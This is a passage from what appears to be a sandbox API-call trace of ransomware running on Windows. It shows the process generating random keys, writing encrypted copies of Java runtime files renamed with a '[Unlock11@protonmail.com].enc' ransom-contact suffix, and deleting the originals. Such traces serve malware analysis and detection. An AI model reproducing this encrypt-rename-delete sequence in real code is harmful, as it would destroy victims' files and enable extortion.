0x0 [0124.988] GetLastError () returned 0x0 [0124.988] GetLastError () returned 0x0 [0124.988] GetLastError () returned 0x0 [0124.988] GetLastError () returned 0x0 [0124.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0124.989] GetLastError () returned 0x0 [0124.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0124.989] GetLastError () returned 0x0 [0124.989] GetLastError () returned 0x0 [0124.989] GetLastError () returned 0x0 [0124.989] GetLastError () returned 0x0 [0124.989] GetLastError () returned 0x0 [0124.989] GetLastError () returned 0x0 [0124.989] GetLastError () returned 0x0 [0124.989] GetLastError () returned 0x0 [0124.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.990] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa897bfc2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa897bfc2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1b640)) returned 1 [0124.990] GetLastError () returned 0x0 [0124.990] GetLastError () returned 0x0 [0124.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa28 | out: hHeap=0x2ad0000) returned 1 [0124.990] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b0ac | out: pbBuffer=0x366b0ac) returned 1 [0124.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0124.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0124.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0124.991] GetLastError () returned 0x0 [0124.991] GetLastError () returned 0x0 [0124.991] GetLastError () returned 0x0 [0124.991] GetLastError () returned 0x0 [0124.991] GetLastError () returned 0x0 [0124.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae90 | out: hHeap=0x2ad0000) returned 1 [0124.991] GetLastError () returned 0x0 [0124.993] GetLastError () returned 0x0 [0124.994] GetLastError () returned 0x0 [0124.994] GetLastError () returned 0x0 [0124.994] GetLastError () returned 0x0 [0124.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c6018 | out: hHeap=0x2ad0000) returned 1 [0124.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265498 [0124.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3ae0 | out: hHeap=0x2ad0000) returned 1 [0124.994] GetLastError () returned 0x0 [0124.994] GetLastError () returned 0x0 [0124.994] GetLastError () returned 0x0 [0124.994] GetLastError () returned 0x0 [0124.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0124.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32655a8 [0124.995] GetLastError () returned 0x0 [0124.995] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0124.995] GetFileType (hFile=0x39c) returned 0x1 [0124.995] GetLastError () returned 0x0 [0124.995] GetLastError () returned 0x0 [0124.996] GetFileType (hFile=0x39c) returned 0x1 [0124.996] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.996] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.996] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.996] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.996] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.996] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.996] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.996] GetLastError () returned 0x0 [0124.996] GetCurrentThreadId () returned 0x9b0 [0124.996] GetLastError () returned 0x0 [0124.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655a8 | out: hHeap=0x2ad0000) returned 1 [0124.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aae8 | out: hHeap=0x2ad0000) returned 1 [0124.997] GetLastError () returned 0x0 [0124.997] GetLastError () returned 0x0 [0124.997] GetLastError () returned 0x0 [0124.997] GetLastError () returned 0x0 [0124.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0124.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32654b8 [0124.997] GetLastError () returned 0x0 [0124.997] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0124.998] GetFileType (hFile=0x3ac) returned 0x1 [0124.998] GetLastError () returned 0x0 [0124.998] GetCurrentThreadId () returned 0x9b0 [0124.998] GetLastError () returned 0x0 [0124.998] GetFileType (hFile=0x3ac) returned 0x1 [0124.998] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.998] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.998] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.999] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.999] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.999] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.999] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.999] GetLastError () returned 0x0 [0124.999] GetCurrentThreadId () returned 0x9b0 [0124.999] GetLastError () returned 0x0 [0124.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654b8 | out: hHeap=0x2ad0000) returned 1 [0124.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2cd8 | out: hHeap=0x2ad0000) returned 1 [0124.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0124.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0124.999] GetLastError () returned 0x0 [0125.000] GetLastError () returned 0x0 [0125.000] GetCurrentThreadId () returned 0x9b0 [0125.000] GetLastError () returned 0x0 [0125.000] GetCurrentThreadId () returned 0x9b0 [0125.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0125.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0125.000] GetLastError () returned 0x0 [0125.000] GetLastError () returned 0x0 [0125.000] GetCurrentThreadId () returned 0x9b0 [0125.000] GetLastError () returned 0x0 [0125.000] GetLastError () returned 0x0 [0125.002] GetLastError () returned 0x0 [0125.003] GetCurrentThreadId () returned 0x9b0 [0125.003] GetLastError () returned 0x0 [0125.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265498 | out: hHeap=0x2ad0000) returned 1 [0125.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.003] GetLastError () returned 0x0 [0125.003] GetLastError () returned 0x0 [0125.003] GetLastError () returned 0x0 [0125.004] GetLastError () returned 0x0 [0125.004] GetCurrentThreadId () returned 0x9b0 [0125.004] GetLastError () returned 0x0 [0125.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0125.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0125.004] GetLastError () returned 0x0 [0125.006] GetLastError () returned 0x0 [0125.006] GetCurrentThreadId () returned 0x9b0 [0125.006] GetLastError () returned 0x0 [0125.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0125.006] GetLastError () returned 0x0 [0125.007] GetLastError () returned 0x0 [0125.007] GetCurrentThreadId () returned 0x9b0 [0125.007] GetLastError () returned 0x0 [0125.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.007] GetCurrentThreadId () returned 0x9b0 [0125.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32655a8 [0125.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654b8 | out: hHeap=0x2ad0000) returned 1 [0125.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xb658) returned 0x37cadf0 [0125.008] GetLastError () returned 0x0 [0125.008] GetLastError () returned 0x0 [0125.008] GetLastError () returned 0x0 [0125.008] GetLastError () returned 0x0 [0125.008] GetCurrentThreadId () returned 0x9b0 [0125.008] GetLastError () returned 0x0 [0125.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37cadf0 | out: hHeap=0x2ad0000) returned 1 [0125.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0125.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0125.009] GetLastError () returned 0x0 [0125.009] GetLastError () returned 0x0 [0125.009] GetCurrentThreadId () returned 0x9b0 [0125.009] GetLastError () returned 0x0 [0125.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0125.010] GetLastError () returned 0x0 [0125.010] GetLastError () returned 0x0 [0125.010] GetCurrentThreadId () returned 0x9b0 [0125.010] GetLastError () returned 0x0 [0125.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.010] GetLastError () returned 0x0 [0125.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0125.011] CloseHandle (hObject=0x3ac) returned 1 [0125.011] GetLastError () returned 0x0 [0125.011] GetCurrentThreadId () returned 0x9b0 [0125.011] GetLastError () returned 0x0 [0125.011] GetLastError () returned 0x0 [0125.011] CloseHandle (hObject=0x39c) returned 1 [0125.011] GetLastError () returned 0x0 [0125.011] GetCurrentThreadId () returned 0x9b0 [0125.012] GetLastError () returned 0x0 [0125.012] GetCurrentThreadId () returned 0x9b0 [0125.012] GetLastError () returned 0x0 [0125.012] GetLastError () returned 0x0 [0125.012] GetLastError () returned 0x0 [0125.012] GetLastError () returned 0x0 [0125.012] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 1 [0125.014] GetLastError () returned 0x0 [0125.014] GetCurrentThreadId () returned 0x9b0 [0125.014] GetLastError () returned 0x0 [0125.014] GetLastError () returned 0x0 [0125.014] GetLastError () returned 0x0 [0125.014] GetLastError () returned 0x0 [0125.014] GetLastError () returned 0x0 [0125.014] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll", lpFilePart=0x9bada4*="jp2native.dll") returned 0x34 [0125.014] GetCurrentThreadId () returned 0x9b0 [0125.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0125.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0125.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0125.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0125.015] GetCurrentThreadId () returned 0x9b0 [0125.015] GetLastError () returned 0x0 [0125.015] GetLastError () returned 0x0 [0125.015] GetLastError () returned 0x0 [0125.015] GetLastError () returned 0x0 [0125.015] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll", lpFilePart=0x9bada4*="jp2ssv.dll") returned 0x31 [0125.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0125.016] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0125.016] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0125.016] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0125.016] GetCurrentThreadId () returned 0x9b0 [0125.016] GetLastError () returned 0x0 [0125.016] GetLastError () returned 0x0 [0125.016] GetLastError () returned 0x0 [0125.016] GetLastError () returned 0x0 [0125.016] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll", lpFilePart=0x9bada4*="jpeg.dll") returned 0x2f [0125.016] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0125.016] GetCurrentThreadId () returned 0x9b0 [0125.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0125.017] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0125.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0125.017] GetLastError () returned 0x0 [0125.017] GetLastError () returned 0x0 [0125.017] GetLastError () returned 0x0 [0125.017] GetLastError () returned 0x0 [0125.017] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll", lpFilePart=0x9bada4*="jsdt.dll") returned 0x2f [0125.017] GetCurrentThreadId () returned 0x9b0 [0125.017] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0125.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0125.018] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0125.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0125.018] GetCurrentThreadId () returned 0x9b0 [0125.018] GetLastError () returned 0x0 [0125.018] GetLastError () returned 0x0 [0125.018] GetLastError () returned 0x0 [0125.018] GetLastError () returned 0x0 [0125.018] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll", lpFilePart=0x9bada4*="jsound.dll") returned 0x31 [0125.018] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0125.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0125.018] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0125.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0125.019] GetCurrentThreadId () returned 0x9b0 [0125.019] GetLastError () returned 0x0 [0125.019] GetLastError () returned 0x0 [0125.019] GetLastError () returned 0x0 [0125.019] GetLastError () returned 0x0 [0125.019] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll", lpFilePart=0x9bada4*="jsoundds.dll") returned 0x33 [0125.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0125.019] GetCurrentThreadId () returned 0x9b0 [0125.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0125.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0125.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0125.020] GetLastError () returned 0x0 [0125.020] GetLastError () returned 0x0 [0125.020] GetLastError () returned 0x0 [0125.020] GetLastError () returned 0x0 [0125.020] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll", lpFilePart=0x9bada4*="kcms.dll") returned 0x2f [0125.020] GetCurrentThreadId () returned 0x9b0 [0125.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0125.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0125.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0125.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0125.020] GetCurrentThreadId () returned 0x9b0 [0125.021] GetLastError () returned 0x0 [0125.021] GetLastError () returned 0x0 [0125.021] GetLastError () returned 0x0 [0125.021] GetLastError () returned 0x0 [0125.021] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe", lpFilePart=0x9bada4*="keytool.exe") returned 0x32 [0125.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0125.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0125.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0125.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0125.021] GetCurrentThreadId () returned 0x9b0 [0125.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5e60 [0125.022] GetLastError () returned 0x0 [0125.022] GetLastError () returned 0x0 [0125.022] GetLastError () returned 0x0 [0125.022] GetLastError () returned 0x0 [0125.022] GetCurrentThreadId () returned 0x9b0 [0125.022] GetLastError () returned 0x0 [0125.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5e60 | out: hHeap=0x2ad0000) returned 1 [0125.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c6068 [0125.022] GetLastError () returned 0x0 [0125.022] GetLastError () returned 0x0 [0125.023] GetLastError () returned 0x0 [0125.023] GetLastError () returned 0x0 [0125.023] GetCurrentThreadId () returned 0x9b0 [0125.023] GetLastError () returned 0x0 [0125.023] GetCurrentThreadId () returned 0x9b0 [0125.023] GetLastError () returned 0x0 [0125.023] GetLastError () returned 0x0 [0125.023] GetLastError () returned 0x0 [0125.023] GetLastError () returned 0x0 [0125.023] GetCurrentThreadId () returned 0x9b0 [0125.023] GetLastError () returned 0x0 [0125.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c6068 | out: hHeap=0x2ad0000) returned 1 [0125.024] GetLastError () returned 0x0 [0125.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0125.024] GetLastError () returned 0x0 [0125.024] GetLastError () returned 0x0 [0125.024] GetLastError () returned 0x0 [0125.024] GetCurrentThreadId () returned 0x9b0 [0125.024] GetLastError () returned 0x0 [0125.024] GetLastError () returned 0x0 [0125.024] GetLastError () returned 0x0 [0125.025] GetLastError () returned 0x0 [0125.025] GetLastError () returned 0x0 [0125.025] GetCurrentThreadId () returned 0x9b0 [0125.025] GetLastError () returned 0x0 [0125.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0125.025] GetCurrentThreadId () returned 0x9b0 [0125.025] GetLastError () returned 0x0 [0125.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0125.025] GetLastError () returned 0x0 [0125.025] GetLastError () returned 0x0 [0125.025] GetLastError () returned 0x0 [0125.026] GetCurrentThreadId () returned 0x9b0 [0125.026] GetLastError () returned 0x0 [0125.026] GetLastError () returned 0x0 [0125.026] GetLastError () returned 0x0 [0125.026] GetLastError () returned 0x0 [0125.026] GetLastError () returned 0x0 [0125.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0125.026] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0125.026] GetLastError () returned 0x0 [0125.027] GetCurrentThreadId () returned 0x9b0 [0125.027] GetLastError () returned 0x0 [0125.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0125.027] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b264 | out: pbBuffer=0x366b264) returned 1 [0125.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0125.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0125.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0125.027] GetCurrentThreadId () returned 0x9b0 [0125.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5e60 [0125.027] GetLastError () returned 0x0 [0125.027] GetLastError () returned 0x0 [0125.028] GetLastError () returned 0x0 [0125.028] GetLastError () returned 0x0 [0125.028] GetCurrentThreadId () returned 0x9b0 [0125.028] GetLastError () returned 0x0 [0125.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5e60 | out: hHeap=0x2ad0000) returned 1 [0125.028] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5f78 [0125.028] GetCurrentThreadId () returned 0x9b0 [0125.028] GetLastError () returned 0x0 [0125.028] GetLastError () returned 0x0 [0125.028] GetLastError () returned 0x0 [0125.029] GetLastError () returned 0x0 [0125.029] GetCurrentThreadId () returned 0x9b0 [0125.029] GetLastError () returned 0x0 [0125.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5f78 | out: hHeap=0x2ad0000) returned 1 [0125.029] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265498 [0125.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4410 | out: hHeap=0x2ad0000) returned 1 [0125.029] GetLastError () returned 0x0 [0125.029] GetLastError () returned 0x0 [0125.029] GetLastError () returned 0x0 [0125.029] GetLastError () returned 0x0 [0125.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32654b8 [0125.030] GetLastError () returned 0x0 [0125.030] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0125.030] GetFileType (hFile=0x39c) returned 0x1 [0125.030] GetLastError () returned 0x0 [0125.030] GetCurrentThreadId () returned 0x9b0 [0125.030] GetLastError () returned 0x0 [0125.030] GetFileType (hFile=0x39c) returned 0x1 [0125.030] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.031] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.031] 